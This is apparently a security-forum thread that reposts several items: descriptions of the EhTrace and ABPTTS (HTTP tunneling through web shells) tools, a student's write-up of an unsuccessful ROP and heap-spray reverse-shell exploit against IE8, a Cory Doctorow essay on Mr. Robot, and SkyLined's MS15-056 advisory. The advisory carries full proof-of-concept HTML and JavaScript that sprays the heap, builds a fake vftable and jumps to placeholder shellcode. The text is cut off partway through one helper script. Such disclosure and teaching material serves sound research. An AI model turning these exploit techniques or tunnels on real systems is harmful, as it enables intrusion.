Nytro

Eh'Trace (pronounced ATrace) is a binary tracing tool for Windows. Implemented in C but has some interesting properties that may make it suitable for tracing binaries when other methods are not sufficient, in particular EhTrace does not require changes to a binary to enable traces, despite being able to collect the same information as hooker type instrumentation, zero knowledge is needed to inspect complete code coverage and binary execution flow, register state and more. Link: https://github.com/K2/EhTrace

A Black Path Toward The Sun (TCP tunneling over HTTP for web application servers) https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun Ben Lincoln, NCC Group, 2016 ABPTTS uses a Python client script and a web application server page/package[1] to tunnel TCP traffic over an HTTP/HTTPS connection to a web application server. In other words, anywhere that one could deploy a web shell, one should now be able to establish a full TCP tunnel. This permits making RDP, interactive SSH, Meterpreter, and other connections through the web application server. The communication is designed to be fully compliant with HTTP standards, meaning that in addition to tunneling inthrough a target web application server, it can be used to establish an outbound connection through packet-inspecting firewalls. A number of novel features are used to make detection of its traffic challenging. In addition to its usefulness to authorized penetration testers, it is intended to provide IDS/WPS/WAF developers with a safe, live example of malicious traffic that evades simplistic regex-pattern-based signature models. An extensive manual is provided in PDF form, and walks the user through a variety of deployment scenarios. This tool is released under version 2 of the GPL. [1] Currently JSP/WAR and ASP.NET server-side components are included. Compare and contrast with: reGeorg (https://github.com/sensepost/reGeorg) HTTP tunnel for Node.js (https://github.com/johncant/node-http-tunnel) Named as an oblique reference to Cordyceps/Ophiocordyceps, e.g.: http://www.insectimages.org/browse/detail.cfm?imgnum=0014287 Link: https://github.com/nccgroup/ABPTTS

woumn December 7, 2016 ROP & Heap Spray for a Reverse Shell in IE8 Introduction/Motivation This exploit is aimed at Internet Explorer 8 running on Windows 7. We are chiefly concerned with the use of a plugin which uses the Java Network Launch Protocol, which has an overflow vulnerability. In order to do this, we will be using Heaplib.js alongside developing our own ROP chain to disable DEP, and hopefully gaining control of the victim machine. Did it Work? My exploit does not currently work. I know that I hit the LEAVE; instruction: Which I further confirmed with disassembly. The error looks like I don’t have the rights to access this DLL (which is wrong), or perhaps that there is a violation of the page’s read-write/execute privileges. I investigated further, and sure enough after running !vprot 7c3411a4 which shows the privileges I’m interested in: Sure enough! I should be able to execute this… This is where I called it quits. I hope that this write-up is as accurate as I can pretend to be. I’m actually pretty interested to see where I went wrong–I know there will be a lot of places. Please continue reading down below at “Unanswered Questions” for more discussion. Developing the Exploit Structuring the Malicious Inputs The Java Network Launch Protocol (JNLP) enables applications to be launched on a client desktop using resources which are hosted on a remote server. It turns out the JNLP has a buffer overflow vulnerability (doesn’t everything now a days). The structure of the request sent doesn’t matter too much to us, although, we’re mainly concerned with overflowing the docbase parameter passed to JNLP. Additionally, we’ll be using Javascript to enable this exploit for a couple reasons. First, we have use Javascript to directly influence the DOM. The DOM is a Document Object Model which is fancy words for the page that is shown on the screen. It renders the HTML + CSS and Javascript, and also has access to Browser “Syscalls” like QuickTime, Flash, etc. This makes it very convenient to just practice the exploit within the confines of the Browser. This exploit uses a lot of techniques we’ve seen already with over overflow vulnerabilities, so I won’t go into detail about those. But recognize that when we’ve an overflow vulnerability, that means we can control EIP and the memory at ESP. Yet, we’re left with the problem of DEP–the stack is unable to execute.Because of the DEP protection, we are forced to use ROP (Return Oriented Programming) to get around that. We’ve briefly used ROP techniques in other exploits before–namely, when we found the addresses of say jump 4 or other things. We find places that do have execution privileges, and then just call the address of the OP codes we want. The challenge here is that we need more than just one or two instructions. In general, ROP chains can get to be very large, and on top of that, we have shellcode we also want to insert. The worry is that the stack may not have enough space for all of our payload, which leaves us with the heap–and the challenges that come along with that. The first challenge with the heap is locating anything we stick in there. Luckily, this problem is alleviated with the help of the Heaplib.js, which handles spraying the heap and can guarantee aligned addresses. Heap spray is the notion of putting a bunch of blocks of memory into the heap, so that we have a chance of jumping into the part we need. It looks something like: It turns out that the Heaplib.js library provides very accurate heap spraying, and the shellcode is present at every 2000 bytes (i.e. 0020, 2020, 4020, etc.) The second problem we face is converting the heap into the stack. This is somewhat counter intuitive at first, but trust me–after this and the next problem, you’ll understand why we need to do this. Many call this problem the “Stack Flip [Pivot]” because we will see that in order to convince the stack that it is the heap, we simply need to swap ESP with a value that is pointing to our heap (hopefully where we placed the shellcode with the heap spray). This is usually achieved by flipping EAX with the command XCHNG EAX, ESP; RET which is in itself ROP gadget. However, we don’t control EAX, but we do control EBP, which is also able to do the stack flip with the instructions LEAVE; RET. I learned this after passing A’s through, and observing which registers were overwritten–EIP and EBP were the only two. The primary reason we go through this trouble is because all the RET statements will try to return to ESP, so we need ESP to be pointing to our data located on the heap. The next issue we have to tackle is how to execute the shellcode that we placed in the heap. Well, remember, after executing the stack flip, the heap is now the “stack”, or at least it appears that way to a process. How can we execute the shellcode? Well, unfortunately, Windows uses DEP (Data Execution Prevention), which says that certain memory locations are either read/writable or just executable. This is in place to prevent exactly what we want to do–execute these instructions that are stored on the stack. It turns out that there is a way around this. In Windows, there is a function located in the Kernel32.dll called VirtualProtect, which is used to change the protection of a region in memory. This is perfect for us because if we can call this function on the memory space of our shellcode, then we can change the protection from read/write to executable and then continue on executing the shellcode. It turns out that Kernel32.dll is ASLR’ed, but we can handle this later in the “Determining the Parameters Used” section. Just realize that we have a means of changing our privileges–and of course this will be achieved with another ROP-chain. Determining the Parameters Used The first thing I deciding to do was figure out what parameters we will pass into the VirtualProtect function call. This was straight forward, because Alex gave us parameters we can use that will work because of the nature of the heap spray: These values will be what we place on the stack to be passed into the VirtualProtect function call. Pretty straight forward. Next, I went after the address to VirtualProtect. To do this, I used WINdbg to explore the MSVCR71.DLL that was not ASLR’d. We can run the commands: dh msvcr71 to dumb the header which gives us an address table for the VirtualProtect function. Next, we call: dps msvcr71+3a000 which is given in the table prior to find the VirtualProtect stub (you may need to type dps more than once). And finally, that gives us an address, which we confirm with u poi(7c37a140) to be the address we’re after. Incidentally, this address is listed on the web, and was also given to us on the slides. The next thing we’re concerned about is ensuring the stack pivot goes as planned. I mentioned that it depends on which register you have access to in that process. Simply use the WINdbg to attach to the IE process, pass it enough A’s to overflow the buffer (200 in our case) and observe which register is overflowed. After doing this, EIP and EBP are both overflowed with A’s, and EAX is left untouched. That means we need to use the LEAVE; RET gadget. It’s also important to mention that all ROP gadget searching was done on the MSVCR71.dll because not only is it unprotected by ASLR, but Alex also said to use this one specifically. Generating the Malicious Input So though out this section, I will be referring to the following diagram for which specific ROP-gadget we’re searching for: Briefly, a ROP gadget is simply a memory address in some shared memory (in our case the MSVCR71.DLL) that we can reference to do some action, and return. There are different tools that can be used to search for these addresses, because we need granularity over what exact instructions we want to issue. Alex suggested two different options; the first is something called Skyrack and the second was msfpescan with a regex. Both of these tools are bad for what we want to do–at least I had a very bad time with them. Skyrack is a pain to even get started, and then you can only search for individual instructions, and we’re basically only concerned with compound instructions (i.e. POP EAX; RET in one address). I fumbled with these for far too long before turning to Google and finding an open source tool called Ropper. So, I used ropper. It was very easy to install (follow the github) and also very easy to search for compound instructions–incidentally it also returns all instances matching your query, instead of just one. The command to use is: ropper --file ~/path/to/msvcr71.dll --search "INSTRUCTION; ret" where INSTRUCTION is the instruction you want to search for. Here is the list of instructions we need to set up the stack I have shown above: 1. POP EAX, RET; 2. MOV EAX, DWORD PTR [EAX]; RET; 3. CALL EAX; RET; 4. POP EAX; POP EDI; POP ESI; POP EBX; POP EBP; RET; The first three can be easy found with Ropper. The final instruction is a bit more difficult. For this one, I found a source called Fuzzysecurity which does a similar exploit using a ROP-chain for IE8. So naturally, I tried to follow his example, but he decided to use a well-known and published generic ROP-chain that I decided against using (published by corelanc0d3r ). However, I did notice that he had the pop’s and return I was looking for–additionally, he had listed a text file of ROP gadgets hosted here, that one could search through. The only caveat here is that the gadget used contains five POP instructions, and we only need four considering the call to VirtualProtect only has four parameters. Well, that’s no problem, I can just add a dummy value to the end that will be popped off later! Next, that leaves the ROP-gadget for the stack pivot. As I explained above, we don’t have access to EAX–we know that after checking WINdbg after overflowing the buffer, and noticing that only EIP and EBP were overwritten. That leaves us with the ROP-gadget for pivoting the stack when we control EBP which is just LEAVE; RET. I was actually able to use Skyrack for this if only because when searching for the LEAVE instruction, there’s a very high chance it’s immediately followed by a RET. I verified this using WINdbg and disassembling the memory at the address. The reason we have the POP (x5); RET included is because of the nature of ROP-chains. Consider the following: Basically, we’re faking a stack frame, and when we return from the call to VirtualProtect. That means we need to POP all of the parameters to VirtualProtect and then after those POP’s we return to the address next listed on the stack, which is our pop’s. That means when we return from VirtualProtect, we return to the address of the POP(x5); RET;, which removes the parameters, and returns to shellcode. I should mention that originally, I had intended to use my own hand generated ROP-chain to demonstrate my “understanding” of what should be happening, but it didn’t work (big surprise!). So I decided to take Chandan’s advice and use the auto-generated ROP-chain by Mona.py–incidentally this is the same ROP-chain I linked to earlier. Here, I will also address some “phantom” addresses that have been suggested to me. During class, Alex gave us some “hints” regarding the structure of our exploit. Firstly, he said that our buffer overflow should contain the stack pivot (later I decided it also needs the address of our ROP-chain/shellcode stuff because of the nature of the LEAVE; command). Next, we received an ambiguous hint that there should be an address placed before our ROP-chain for either: 1) byte alignment or 2) it may be something else–I decided to just try the address of the shellcode promised with Heaplib.js because why not? I have no idea what else should be there! And the final hint was that after our ROP-chain and before the shellcode, we should include the “hard coded” address of our shellcode. This one especially doesn’t make sense to me because if it is proceeding the ROP-chain, we should be able to just plop the shellcode right there, and after our call to VirtualProtect finishes, then we can just immediately begin executing the shell. So basically, for every time I needed the “address of the shellcode” I used 0x0a0a2020 . Finally, we’re left with the shellcode. This is old news by now, but I used Metasploit to generate my shellcode. The command is: generate -t js_be which gives us shellcode that can be pasted into a Javscript function. An important note is to ensure that the shellcode is divisible by 4 so that it lines up correctly. Mine was 324 bytes long, which is divisible by 4, so there wasn’t anything I needed to do with it. Unanswered Questions There are multiple questions I had regarding this assignment that I wasn’t quiet able to figure out. Below, I’ll detail my concerns and the conclusions I came to in an attempt to convince those reading that at least some thought was put into this. I’m not entirely sure what address to overwrite EIP with during the initial buffer overflow. I know in the slides and in class, we discussed just any aligned address on the heap because we would either hit NOPs or our shellcode. But, I’m not sure how that works because the entire point of this exploit was to get the code we have on the heap to execute. That means that if we hit something like the NOPs or the beginning of our shellcode (basically everything excluding the pivot), we get stuck because we haven’t moved ESP to where we are or changed the protections. After having another class with Alex, he said to overwrite EIP with our stack pivot, so that’s what I wound up doing. I considered moving the stack pivot address to be what we initially overflow into EIP, but that doesn’t make sense to me because the op codes that happen for the stack pivot (LEAVE; RET) simply move the ESP into EBP, but if we’re still on the stack, we won’t be replacing it with an address on the heap. So I ended up addressing this by overflowing the initial buffer with the address of the shellcode and also the address of the stack pivot (as pairs), because I knew that the pivot would be landing in EIP. This was later confirmed after looking through WINdbg. Alex basically told us to insert an address before our ROP-chain and immediately following it. The first one was ambiguous as to what its purpose was–I still don’t really know. Nothing I’ve read indicates this is necessary. Perhaps it is only for alignment? The second address after the ROP-chain is supposed to be the “hard coded” address to our shellcode. Again, I don’t understand why this is necessary instead of just placing the shellcode immediately following, but at this point, I’m blindly taking Alex’s suggestions. Why am I unable to execute the LEAVE; instruction? My primary thought is there there is an issue with EBP or something not pointing to memory I should be. I’m not entire sure if that’s what is happening, nor how I could fix it! That’s all I can think of immediately. Anyway, I’m happy with what I’ve learned with this project, even if I wasn’t able to get a reverse shell. Besides, everyone I talked to couldn’t either. I wish I knew more answers to these questions–it’s very unsatisfying being so confused! Unfortunately, I ended my quest at this error. Due to time constraints, a final, and simply other classes–even with a day extension–I reached my wit’s end, and without simply asking for a code review with Chandan, I’m not sure I could figure this out on my own. And I think that’s okay–we learn from our failures, and just because it’s called a failure, that doesn’t mean I should quit! Sursa: https://woumn.wordpress.com/2016/12/07/rop-heap-spray-for-a-reverse-shell-in-ie8/

Mr. Robot Killed the Hollywood Hacker The popular portrayal of computers as magic boxes capable of anything has done real societal harm. Now one TV show wants to save us. by Cory Doctorow December 7, 2016 For decades Hollywood has treated computers as magic boxes from which endless plot points could be conjured, in denial of all common sense. TV and movies depicted data centers accessible only through undersea intake valves, cryptography that can be cracked through a universal key, and e-mails whose text arrives one letter at a time, all in caps. “Hollywood hacker bullshit,” as a character named Romero says in an early episode of Mr. Robot, now in its second season on the USA Network. “I’ve been in this game 27 years. Not once have I come across an animated singing virus.” Mr. Robot marks a turning point for how computers and hackers are depicted in popular culture, and it’s happening not a moment too soon. Our thick-­headedness about computers has had serious ramifications that we’ve been dealing with for decades. Following a time line of events from about a year before the air date of each episode, Mr. Robot references real-world hacks, leaks, and information security disasters of recent history. When hackers hack in Mr. Robot, they talk about it in ways that actual hackers talk about hacking. This kind of dialogue should never have been hard to produce: hacker presentations from Black Hat and Def Con are a click away on YouTube. But Mr. Robot marks the first time a major media company has bothered to make verisimilitude in hacker-speak a priority. The show excels not only at talk but also at action. The actual act of hacking is intrinsically boring: it’s like watching a check-in clerk fix your airline reservation. Someone types a bunch of obscure strings into a terminal, frowns and shakes his head, types more, frowns again, types again, and then smiles. On the screen, a slightly different menu prompt represents the victory condition. But the show nails the anthropology of hacking, which is fascinating as all get-out. The way hackers decide what they’re going to do, and how they’re going to do it, is unprecedented in social history, because they make up an underground movement that, unlike every other underground in the past, has excellent, continuous, global communications. They also have intense power struggles, technical and tactical debates, and ethical conundrums—the kind of things found in any typical Mr. Robot episode. Mr. Robot wasn’t the first technically realistic script ever pitched, but it had good timing. In 2014, as the USA Network was deliberating over whether to greenlight Mr. Robot’s pilot for a full season, Sony Pictures Entertainment was spectacularly hacked. Intruders dumped everything—prerelease films, private e-mails, sensitive financial documents—onto the Web, spawning lawsuits, humiliation, and acrimony that persists to this day. The Sony hack put the studio execs in a receptive frame of mind, says Kor Adana, a computer scientist turned screenwriter who is a writer and technology producer on the series. Adana told me the Sony hack created a moment in which the things people actually do with computers seemed to have quite enough drama to be worthy of treating them with dead-on accuracy. It’s about time. The persistence until now of what the geeks call “Hollywood OS,” in which computers do impossible things just to make the plot go, hasn’t just resulted in bad movies. It’s confused people about what computers can and can’t do. It’s made us afraid of the wrong things. It’s led lawmakers to create a terrible law that’s done tangible harm. Worst law in technology In 1983, Matthew Broderick had his breakout role as David Lightman, the smart, bored Seattle teen who entertains himself in WarGames by autodialing phone numbers with his computer’s primitive modem, looking for systems to hack into and explore. When he connects to a mysterious system—seemingly an internal network for a game development company—he nearly starts World War III, because that “game company” is actually the Pentagon, and the “Global Thermonuclear War” game he’s initiated is the autonomous nuclear retaliatory capability designed to launch thousands of ICBMs at the USSR. WarGames inspired many a youngster to scrounge a 300-baud modem and experiment with networked communications. Linguistically, it gave us “war­dialing” (dialing many phone numbers in sequence), which begat “warwalking” and “wardriving” (hunting for open Wi-Fi networks). The film wasn’t a terrible approximation of how a misfit kid might have tried to hack in, although WarGames did make it seem as if the system had fewer fail-safes than it actually did. (Still, it also appears to be true that in real life the launch code for all the missiles was set to “00000000.”) The worst thing about WarGames—and its most profound legacy—was the reaction of panicked lawmakers. Passed by Congress in 1984 and broadened in 1986, the Computer Fraud and Abuse Act was a sweeping anti-­hacking bill inspired by the idea thatAmerica’s Matthew Brodericks could set off Armageddon. Before CFAA’s passage, prosecutions against hackers had invoked a hodgepodge of legal theories. Crooks who broke into sensitive databases were charged with theft of the electricity consumed in the transaction. CFAA’s authors understood that even if they explicitly banned the hacking techniques of the time, these prohibitions would swiftly be overtaken by advances in technology, leaving future prosecutors scrounging for legal theories again. So CFAA took an exceptionally broad view of what constitutes criminal “hacking,” making a potential felon out of anyone who acquires unauthorized access to a computer system. It sounds simple: you can legally use a computer only in ways its owner has permitted. But CFAA has proved to be a pernicious menace—what legal scholar Tim Wu has called “the worst law in technology.” That’s because companies (and federal prosecutors) have taken the view that your “authorization” to use an online service is defined by its end-user license agreement—the thousands of words of legalese that no one ever reads—and that violating those terms is therefore a felony. Decades ago, WarGames inspired a legacy of stupid technology law that we still struggle with. Mr. Robot might just leave behind a happier legacy. This is how a young entrepreneur and activist named Aaron Swartz came to be charged with 13 felonies after using a script to automate his downloads of articles from JSTOR, a scholarly repository on MIT’s networks. Swartz was legally permitted to download these articles, but the terms of service forbade using a script to fetch them in bulk. What Swartz did was no accident—he made multiple attempts to get around JSTOR’s download limits over a period of months, and ultimately entered a basement wiring closet to tap into a network switch directly. But because of CFAA he was facing up to 35 years in prison when he hanged himself in 2013. After WarGames, Hollywood made a trickle of “hacker movies,” many much beloved by actual hackers. There was 1992’s Sneakers, which took some of its inspiration from real-world phone phreaks John “Cap’n Crunch” Draper and Josef “Joybubbles” Engressia. There was 1995’s Hackers, which referenced the 2600: Hacker Quarterly meetups and Operation Sundevil, the Secret Service’s notorious 1990 hacker raids (which resulted in the founding of the Electronic Frontier Foundation). But even these movies wanted for much in the way of technical accuracy. Sneakers ridiculously featured a universal key that can break all crypto; Hackers featured the graphically elaborate virus mocked by Romero in Mr. Robot. The films featured the kinds of musical viruses and absurd user interfaces that are the desperate hallmarks of a visual medium trying to make a nonvisual story interesting. It only got worse. As cryptography crept into the public eye—first through the mid-1990s debate over the Clipper Chip, which would have put a backdoor in essentially all computers, then through subsequent political fights that rage on to this day—it became a frequent source of plot points and groans of dismay from actual hackers and security experts. Like the moment in the fifth Mission Impossible movie when hackers replace the contents of an encrypted file with 0s without first decrypting the file, or the way in Skyfall that encrypted data is visualized as a giant moving sphere. Crypto in movies works just like crypto in the minds of lawmakers: perfectly, until it needs to fail catastrophically. Rami Malek plays Elliot on Mr. Robot, a show that marks the first time a studio has bothered to prioritize accuracy in how it portrays hacker culture. Fan noise Kor Adana is largely responsible for giving Mr. Robot the technological rigor that sets the show apart. The 32-year-old Michigan native once worked at an automotive company, attempting to punch holes in the security of the computers in cars heading into production. Adana told me that when he threw away his lucrative cybersecurity career to work in Hollywood, he was gambling that his background in information security would be an asset rather than an odd quirk. That paid off thanks to the trust of show creator Sam Esmail, who gave Adana the authority to argue with production designers over seemingly minor details. He ensures that the correct cable connects a PC tower to its monitor, or that the network card’s activity lights are actually blinking when the shot comes out of post-production. Adana gives sound engineers fits by insisting that scenes set in rooms full of powerful PCs must have the correct level of accompanying fan noise. Adana also battles the legal department over his commitment to technical rigor in the hacking attacks depicted on the show, knowing that hackers will go through the episode frame by frame, looking at the command-line instructions for accuracy and in-jokes. Those hackers are a minority of the show’s audience, but they’re also the show’s cheerleaders, and when an incredulous information civilian asks a clued-in hacker buddy whether the stuff on Mr. Robot could reallyhappen, the hacker can nod vigorously and promise that it’s all true. Another promising show is Black Mirror, created by the British satirist Charlie Brooker and now streaming on Netflix. It’s not rigorous in the same way as Mr. Robot, because it projects into the future rather than describing the technical details of the recent past. But its depiction of user interface elements and product design reflect a coherent understanding of how the technologies of today work, and thus where they may be tomorrow. Clicks on computers in the show call forth menus that have options we can recognize; the opacity of the error messages is all too plausible; even the vacant facial expressions of people lost in their technology have a plausibility that other shows rarely achieve. My own 2008 young adult novel Little Brother, whose plot turns on the real capabilities of computers, has been under development at Paramount for a year now. The story features a teenage hacker army that uses GPS to send private e-mails and exploits software-defined radios in game consoles to create mesh networks protected by strong crypto. The one thing everyone in the meetings agrees on is that the technical rigor of the story needs to be carried over onto the screen. As cryptography crept into the public eye, it became a frequent source of plot points and groans of dismay from actual hackers and security experts. This isn’t trivial. It’s not just about better entertainment. When information security is the difference between a working hospital and one that has to be shut down (as was the case with the ransomware attacks on hospitals across America in 2016) and when server break-ins can affect the outcomes of U.S. elections, it’s clear that we all need a better sense of what computers can do for us and how they can burn us. Adana says he is gratified when he meets information security noncombatants who have no interest in being IT nerds but who areinterested in the security and privacy implications of the technologies they use—something heretofore believed to be impossible. Information security is one of those problems whose very nature can’t be agreed upon—and the lack of technological smarts in the halls of power is compounded by the lack of technological understanding in the body politic. Decades ago, WarGames inspired a legacy of stupid technology law that we still struggle with. Mr. Robot and the programs that come after it might just leave behind a happier legacy: laws, policies, and understanding that help us solve the most urgent problems of our age. Cory Doctorow is a science fiction novelist; his next book, Walkaway, will be published in 2017. He is also a special advisor to the Electronic Frontier Foundation and activist in residence for the MIT Media Lab. Sursa: https://www.technologyreview.com/s/603045/mr-robot-killed-the-hollywood-hacker/

Microsoft Internet Explorer jscript9 - Java­Script­Stack­Walker Memory Corruption (MS15-056) <!-- Source: http://blog.skylined.nl/20161206001.html Synopsis A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. A pointer set up to point to certain data on the stack can be used after that data has been removed from the stack. This results in a stack-based analog to a heap use-after-free vulnerability. The stack memory where the data was stored can be modified by an attacker before it is used, allowing remote code execution. Known affected software and attack vectors Microsoft Internet Explorer 9 An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path. Repro.html: <!doctype html> <script> var o­Window = window.open("about:blank"); o­Window.exec­Script('window.o­URIError = new URIError();o­URIError.name = o­URIError;') try { "" + o­Window.o­URIError; } catch(e) { } try { "" + o­Window.o­URIError; } catch(e) { } </script> Description A Javascript can construct an URIError object and sets that object's name property to refer to the URIError object, creating a circular reference. When that Javascript than attempts to convert the URIError object to a string, MSIE attempts to convert the URIError object's name to a string, which creates a recursive code loop that eventually causes a stack exhaustion. MSIE attempts to handle this situation gracefully by generating a Java­Script exception. While generating the exception, information about the call stack is gathered using the Javascript­Stack­Walker class. It appears that the code that does this initializes a pointer variable on the stack the first time it is run, but re-uses it if it gets called a second time. Unfortunately, the information the pointer points to is also stored on the stack, but is removed from the stack after the first exception is handled. Careful manipulation of the stack during both exceptions allow an attacker to control the data the pointer points to during the second exception. This problem is not limited to the URIError object: any recursive function call can be used to trigger the issue, as shown in the exploit below. Exploit As mentioned above, the vulnerable pointer points to valid stack memory during the first exception, but it is "popped" from the stack before the second. In order to exploit this vulnerability, the code executed during the first exception is going to point this pointer to a specific area of the stack, while the code executed during the second is going to allocate certain values in that same area before the pointer is re-used. Control over the stack contents during a stack exhaustion can be achieved by making the recursive calls with many arguments, all of which are stored on the stack. This is similar to a heap-spray storing values on large sections of the heap in that it is not entirely deterministic, but the odds are very highly in favor of you setting a certain value at a certain address. The exploit triggers the first exception by making recursive calls using a lot of arguments. In each loop, a lot of stack space is needed to make the next call. At some point there will not be enough stack space left to make another call and an exception is thrown. If N arguments are passed during each call, N*4 bytes of stack are needed to store them. The number of bytes left on the stack at the time of the exception varies from 0 to about 4*N and thus averages to about 4*N/2. The vulnerable pointer gets initialized to point to an address near the stack pointer at the time of the exception, at approximately (bottom of stack) + 4*N/2. The exploit then triggers another stack exhaustion by making recursive calls using many arguments, but significantly less than before. If M arguments are passed during each call this time, the number of bytes left on the stack at the time of the exception averages to about 4*M/2. When the second exception happens, the vulnerable pointer points inside the stack that was "sprayed" with function arguments. This means we can control where it points to. The pointer is used as an object pointer to get a function address from a vftable, so by using the right value to spray the stack, we can gain full control over execution flow. The below schematic shows the layout of the stack during the various stages of this exploit: | | |<- bottom of stack top of stack ->| | | | Stack layout at the moment the first exception is triggered: | | | | [--- CALL X ---][-- CALL X-1 --][-- CALL X-2 --][...........]| | | |{---------------} Stack space available is less than 4*N bytes | | | | ^^^ | | Vulnerable pointer gets initialized to point around here | | | | | | | | Stack layout at the moment the second exception is triggered: | | | | [CALL Y][CALL Y-1][CALL Y-2][CALL Y-3][CALL Y-3][........................]| | | |{--} Stack space available is less than 4*M bytes | | | | ^^^ | | Vulnerable pointer still points around here, most likely at | | one of the arguments pushed onto the stack in a call. | | | In the Proof-of-Concept code provided below, the first exception is triggered by recursively calling a function with 0x2000 arguments (N = 0x2000). The second exception is triggered by recursively calling a function with 0x200 arguments (M = 0x200). The values passed as arguments during the second stack exhaustion are set to cause the vulnerable pointer to point to a fake vftable on the heap. The heap is sprayed to create this fake vftable. A fake function address is stored at 0x28000201 (p­Target) that points to a dummy shellcode consisting of int3's at 0x28000300 (p­Shellcode). Once the vulnerability is triggered, the vulnerable pointer is used to read the pointer to our shellcode from our fake vftable and called, which will attempt to execute our shellcode. Sploit.html: --> <!doctype html> <script src="String.js"></script> <script src="spray­Heap.js"></script> <script> function stack­Overflow­High­On­Stack() { stack­Overflow­High­On­Stack.apply(0, new Array(0x2000)); } function attack(p­Target) { var ax­Args = []; while (ax­Args.length < 0x200) ax­Args.push((p­Target - 0x69C) >>> 1); exception­Low­On­Stack­With­Spray(); function exception­Low­On­Stack­With­Spray() { try { (function(){}).apply(0, ax­Args); } catch (e) { throw 0; } exception­Low­On­Stack­With­Spray.apply(0, ax­Args); } } var p­Spray­Start­Address = 0x09000000; var d­Heap­Spray­Template = {}; var p­Target = 0x28000201; var p­Shellcode = 0x28000300; d­Heap­Spray­Template[p­Target] = p­Shellcode; d­Heap­Spray­Template[p­Shellcode] = 0x­CCCCCCCC; window.s­Heap­Spray­Block = create­Spray­Block(d­Heap­Spray­Template); window.u­Heap­Spray­Block­Count = get­Spray­Block­Count(d­Heap­Spray­Template, p­Spray­Start­Address); var o­Window = window.open("about:blank"); function prepare() { window.as­Heap­Spray = new Array(opener.u­Heap­Spray­Block­Count); for (var i = 0; i < opener.u­Heap­Spray­Block­Count; i++) { as­Heap­Spray[i] = (opener.s­Heap­Spray­Block + "A").substr(0, opener.s­Heap­Spray­Block.length); } } o­Window.eval("(" + prepare + ")();"); try { String(o­Window.eval("({to­String:" + stack­Overflow­High­On­Stack + "})")); } catch(e) { o­Window.eval("(" + attack + ")(" + p­Target + ")"); } </script> <!-- String.js: String.from­Word = function (w­Value) { // Return a BSTR that contains the desired DWORD in its string data. return String.from­Char­Code(w­Value); } String.from­Words = function (aw­Values) { // Return a BSTR that contains the desired DWORD in its string data. return String.from­Char­Code.apply(0, aw­Values); } String.from­DWord = function (dw­Value) { // Return a BSTR that contains the desired DWORD in its string data. return String.from­Char­Code(dw­Value & 0x­FFFF, dw­Value >>> 16); } String.from­DWords = function (au­Values) { var as­DWords = new Array(au­Values.length); for (var i = 0; i < au­Values.length; i++) { as­DWords[i] = String.from­DWord(au­Values[i]); } return as­DWords.join(""); } String.prototype.repeat = function (u­Count) { // Return the requested number of concatenated copies of the string. var s­Repeated­String = "", u­Left­Most­Bit = 1 << (Math.ceil(Math.log(u­Count + 1) / Math.log(2)) - 1); for (var u­Bit = u­Left­Most­Bit; u­Bit > 0; u­Bit = u­Bit >>> 1) { s­Repeated­String += s­Repeated­String; if (u­Count & u­Bit) s­Repeated­String += this; } return s­Repeated­String; } String.create­Buffer = function(u­Size, u­Index­Size) { // Create a BSTR of the right size to be used as a buffer of the requested size, taking into account the 4 byte // "length" header and 2 byte "\0" footer. The optional argument u­Index­Size can be 1, 2, 4 or 8, at which point the // buffer will be filled with indices of said size (this is slower but useful for debugging). if (!u­Index­Size) return "\u­DEAD".repeat(u­Size / 2 - 3); var au­Buffer­Char­Codes = new Array((u­Size - 4) / 2 - 1); var u­MSB = u­Index­Size == 8 ? 8 : 4; // Most significant byte. for (var u­Char­Index = 0, u­Byte­Index = 4; u­Char­Index < au­Buffer­Char­Codes.length; u­Char­Index++, u­Byte­Index +=2) { if (u­Index­Size == 1) { au­Buffer­Char­Codes[u­Char­Index] = u­Byte­Index + ((u­Byte­Index + 1) << 8); } else { // Set high bits to prevents both NULLs and valid pointers to userland addresses. au­Buffer­Char­Codes[u­Char­Index] = 0x­F000 + (u­Byte­Index % u­Index­Size == 0 ? u­Byte­Index & 0x­FFF : 0); } } return String.from­Char­Code.apply([][0], au­Buffer­Char­Codes); } String.prototype.clone = function () { // Create a copy of a BSTR in memory. s­String = this.substr(0, this.length); s­String.length; return s­String; } String.prototype.replace­DWord = function (u­Byte­Offset, dw­Value) { // Return a copy of a string with the given dword value stored at the given offset. // u­Offset can be a value beyond the end of the string, in which case it will "wrap". return this.replace­Word(u­Byte­Offset, dw­Value & 0x­FFFF).replace­Word(u­Byte­Offset + 2, dw­Value >> 16); } String.prototype.replace­Word = function (u­Byte­Offset, w­Value) { // Return a copy of a string with the given word value stored at the given offset. // u­Offset can be a value beyond the end of the string, in which case it will "wrap". if (u­Byte­Offset & 1) { return this.replace­Byte(u­Byte­Offset, w­Value & 0x­FF).replace­Byte(u­Byte­Offset + 1, w­Value >> 8); } else { var u­Char­Index = (u­Byte­Offset >>> 1) % this.length; return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1); } } String.prototype.replace­Byte = function (u­Byte­Offset, b­Value) { // Return a copy of a string with the given byte value stored at the given offset. // u­Offset can be a value beyond the end of the string, in which case it will "wrap". var u­Char­Index = (u­Byte­Offset >>> 1) % this.length, w­Value = this.char­Code­At(u­Char­Index); if (u­Byte­Offset & 1) { w­Value = (w­Value & 0x­FF) + ((b­Value & 0x­FF) << 8); } else { w­Value = (w­Value & 0x­FF00) + (b­Value & 0x­FF); } return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1); } String.prototype.replace­Buffer­DWord = function (u­Byte­Offset, u­Value) { // Return a copy of a BSTR with the given dword value store at the given offset. if (u­Byte­Offset & 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") must be Word aligned"); if (u­Byte­Offset < 4) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR size dword."); var u­Char­Index = u­Byte­Offset / 2 - 2; if (u­Char­Index == this.length - 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR terminating NULL."); return this.substr(0, u­Char­Index) + String.from­DWord(u­Value) + this.substr(u­Char­Index + 2); } spray­Heap.js: console = window.console || {"log": function(){}}; function bad(p­Address) { // convert a valid 32-bit pointer to an invalid one that is easy to convert // back. Useful for debugging: use a bad pointer, get an AV whenever it is // used, then fix pointer and continue with exception handled to have see what // happens next. return 0x80000000 + p­Address; } function blanket(d­Spray_­dw­Value_­p­Address, p­Address) { // Can be used to store values that indicate offsets somewhere in the heap // spray. Useful for debugging: blanket region, get an 